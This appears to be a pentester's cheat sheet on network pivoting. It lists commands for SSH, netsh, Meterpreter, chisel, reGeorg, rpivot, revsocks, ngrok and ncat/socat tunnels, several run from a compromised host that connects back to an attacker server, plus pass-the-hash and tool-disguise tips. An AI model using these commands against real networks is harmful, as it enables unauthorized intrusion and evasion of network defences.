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Network Pivoting Techniques

Summary

Windows netsh Port Forwarding

netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport

netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110
  1. listenaddress – is a local IP address waiting for a connection.
  2. listenport – local listening TCP port (the connection is waited on it).
  3. connectaddress – is a local or remote IP address (or DNS name) to which the incoming connection will be redirected.
  4. connectport – is a TCP port to which the connection from listenport is forwarded to.

SSH

SOCKS Proxy

ssh -D8080 [user]@[host]

ssh -N -f -D 9000 [user]@[host]
-f : ssh in background
-N : do not execute a remote command

Cool Tip : Konami SSH Port forwarding

[ENTER] + [~C]
-D 1090

Local Port Forwarding

ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]

Remote Port Forwarding

ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]
ssh -R 3389:10.1.1.224:3389 root@10.11.0.32

Proxychains

Config file: /etc/proxychains.conf

[ProxyList]
socks4 localhost 8080

Set the SOCKS4 proxy then proxychains nmap -sT 192.168.5.6

Graphtcp

Same as proxychains, with another mechanism to "proxify" which allow Go applications.

git clone https://github.com/hmgle/graftcp.git
cd graftcp && make
graftcp-local/graftcp-local
./graftcp chromium-browser

Web SOCKS - reGeorg

reGeorg, the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.

Drop one of the following files on the server:

  • tunnel.ashx
  • tunnel.aspx
  • tunnel.js
  • tunnel.jsp
  • tunnel.nosocket.php
  • tunnel.php
  • tunnel.tomcat.5.jsp
python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp # the socks proxy will be on port 8080

optional arguments:
  -h, --help           show this help message and exit
  -l , --listen-on     The default listening address
  -p , --listen-port   The default listening port
  -r , --read-buff     Local read buffer, max data to be sent per POST
  -u , --url           The url containing the tunnel script
  -v , --verbose       Verbose output[INFO|DEBUG]

Metasploit

# Meterpreter list active port forwards
portfwd list 

# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
portfwd add l 3389 p 3389 r target-host 
portfwd add -l 88 -p 88 -r 127.0.0.1
portfwd add -L 0.0.0.0 -l 445 -r 192.168.57.102 -p 445

# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
portfwd delete l 3389 p 3389 r target-host 
# Meterpreter delete all port forwards
portfwd flush 

or

# Use Meterpreters autoroute script to add the route for specified subnet 192.168.15.0
run autoroute -s 192.168.15.0/24 
use auxiliary/server/socks_proxy
set SRVPORT 9090
set VERSION 4a
# or
use auxiliary/server/socks4a     # (deprecated)


# Meterpreter list all active routes
run autoroute -p 

route #Meterpreter view available networks the compromised host can access
# Meterpreter add route for 192.168.14.0/24 via Session number.
route add 192.168.14.0 255.255.255.0 3 
# Meterpreter delete route for 192.168.14.0/24 via Session number.
route delete 192.168.14.0 255.255.255.0 3 
# Meterpreter delete all routes
route flush 

Empire

(Empire) > socksproxyserver
(Empire) > use module management/invoke_socksproxy
(Empire) > set remoteHost 10.10.10.10
(Empire) > run

sshuttle

Transparent proxy server that works as a poor man's VPN. Forwards over ssh.

  • Doesn't require admin.
  • Works with Linux and MacOS.
  • Supports DNS tunneling.
pacman -Sy sshuttle
apt-get install sshuttle
sshuttle -vvr user@10.10.10.10 10.1.1.0/24
sshuttle -vvr username@pivot_host 10.2.2.0/24 

# using a private key
$ sshuttle -vvr root@10.10.10.10 10.1.1.0/24 -e "ssh -i ~/.ssh/id_rsa" 

# -x == exclude some network to not transmit over the tunnel
# -x x.x.x.x.x/24

chisel

go get -v github.com/jpillora/chisel

# forward port 389 and 88 to hacker computer
user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389 
user@hacker$ /opt/chisel/chisel server -p 8008 --reverse

SharpChisel

A C# Wrapper of Chisel : https://github.com/shantanu561993/SharpChisel

user@hacker$ ./chisel server -p 8080 --key "private" --auth "user:pass" --reverse --proxy "https://www.google.com"
================================================================
server : run the Server Component of chisel 
-p 8080 : run server on port 8080
--key "private": use "private" string to seed the generation of a ECDSA public and private key pair
--auth "user:pass" : Creds required to connect to the server
--reverse:  Allow clients to specify reverse port forwarding remotes in addition to normal remotes.
--proxy https://www.google.com : Specifies another HTTP server to proxy requests to when chisel receives a normal HTTP request. Useful for hiding chisel in plain sight.

user@victim$ SharpChisel.exe client --auth user:pass https://redacted.cloudfront.net R:1080:socks

Ligolo

Ligolo : Reverse Tunneling made easy for pentesters, by pentesters

  1. Build Ligolo
    # Get Ligolo and dependencies
    cd `go env GOPATH`/src
    git clone https://github.com/sysdream/ligolo
    cd ligolo
    make dep
    
    # Generate self-signed TLS certificates (will be placed in the certs folder)
    make certs TLS_HOST=example.com
    
    make build-all
    
  2. Use Ligolo
    # On your attack server.
    ./bin/localrelay_linux_amd64
    
    # On the compromise host.
    ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555
    

Gost

Wiki English : https://docs.ginuerzh.xyz/gost/en/

git clone https://github.com/ginuerzh/gost
cd gost/cmd/gost
go build

# Socks5 Proxy
Server side: gost -L=socks5://:1080
Client side: gost -L=:8080 -F=socks5://server_ip:1080?notls=true

# Local Port Forward
gost -L=tcp://:2222/192.168.1.1:22 [-F=..]

Rpivot

Server (Attacker box)

python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0

Client (Compromised box)

python client.py --server-ip <ip> --server-port 9443

Through corporate proxy

python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3e

Passing the hash

python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe \
--hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE

revsocks

# Listen on the server and create a SOCKS 5 proxy on port 1080
user@VPS$ ./revsocks -listen :8443 -socks 127.0.0.1:1080 -pass Password1234

# Connect client to the server
user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234
user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234 -proxy proxy.domain.local:3128 -proxyauth Domain/userpame:userpass -useragent "Mozilla 5.0/IE Windows 10"
# Build for Linux
git clone https://github.com/kost/revsocks
export GOPATH=~/go
go get github.com/hashicorp/yamux
go get github.com/armon/go-socks5
go get github.com/kost/go-ntlmssp
go build
go build -ldflags="-s -w" && upx --brute revsocks

# Build for Windows
go get github.com/hashicorp/yamux
go get github.com/armon/go-socks5
go get github.com/kost/go-ntlmssp
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w"
go build -ldflags -H=windowsgui
upx revsocks
# exposes the SMB port of the machine in the port 445 of the SSH Server
plink -l root -pw toor -R 445:127.0.0.1:445 
# exposes the RDP port of the machine in the port 3390 of the SSH Server
plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389  

plink -l root -pw mypassword 192.168.18.84 -R
plink.exe -v -pw mypassword user@10.10.10.10 -L 6666:127.0.0.1:445

plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your local machine] [VPS IP]
# redirects the Windows port 445 to Kali on port 22
plink -P 22 -l root -pw some_password -C -R 445:127.0.0.1:445 192.168.12.185   

ngrok

# get the binary
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip 

# log into the service
./ngrok authtoken 3U[REDACTED_TOKEN]Hm

# deploy a port forwarding for 4433
./ngrok http 4433
./ngrok tcp 4433

cloudflared

# Get the binary
wget https://bin.equinox.io/c/VdrWdbjqyF/cloudflared-stable-linux-amd64.tgz
tar xvzf cloudflared-stable-linux-amd64.tgz
# Expose accessible internal service to the internet
./cloudflared tunnel --url <protocol>://<host>:<port>

Basic Pivoting Types

Type Use Case
Listen - Listen Exposed asset, may not want to connect out.
Listen - Connect Normal redirect.
Connect - Connect Can’t bind, so connect to bridge two hosts

Listen - Listen

Type Use Case
ncat ncat -v -l -p 8080 -c "ncat -v -l -p 9090"
socat socat -v tcp-listen:8080 tcp-listen:9090
remote host 1 ncat localhost 8080 < file
remote host 2 ncat localhost 9090 > newfile

Listen - Connect

Type Use Case
ncat ncat -l -v -p 8080 -c "ncat localhost 9090"
socat socat -v tcp-listen:8080,reuseaddr tcp-connect:localhost:9090
remote host 1 ncat localhost -p 8080 < file
remote host 2 ncat -l -p 9090 > newfile

Connect - Connect

Type Use Case
ncat ncat localhost 8080 -c "ncat localhost 9090"
socat socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090
remote host 1 ncat -l -p 8080 < file
remote host 2 ncat -l -p 9090 > newfile

References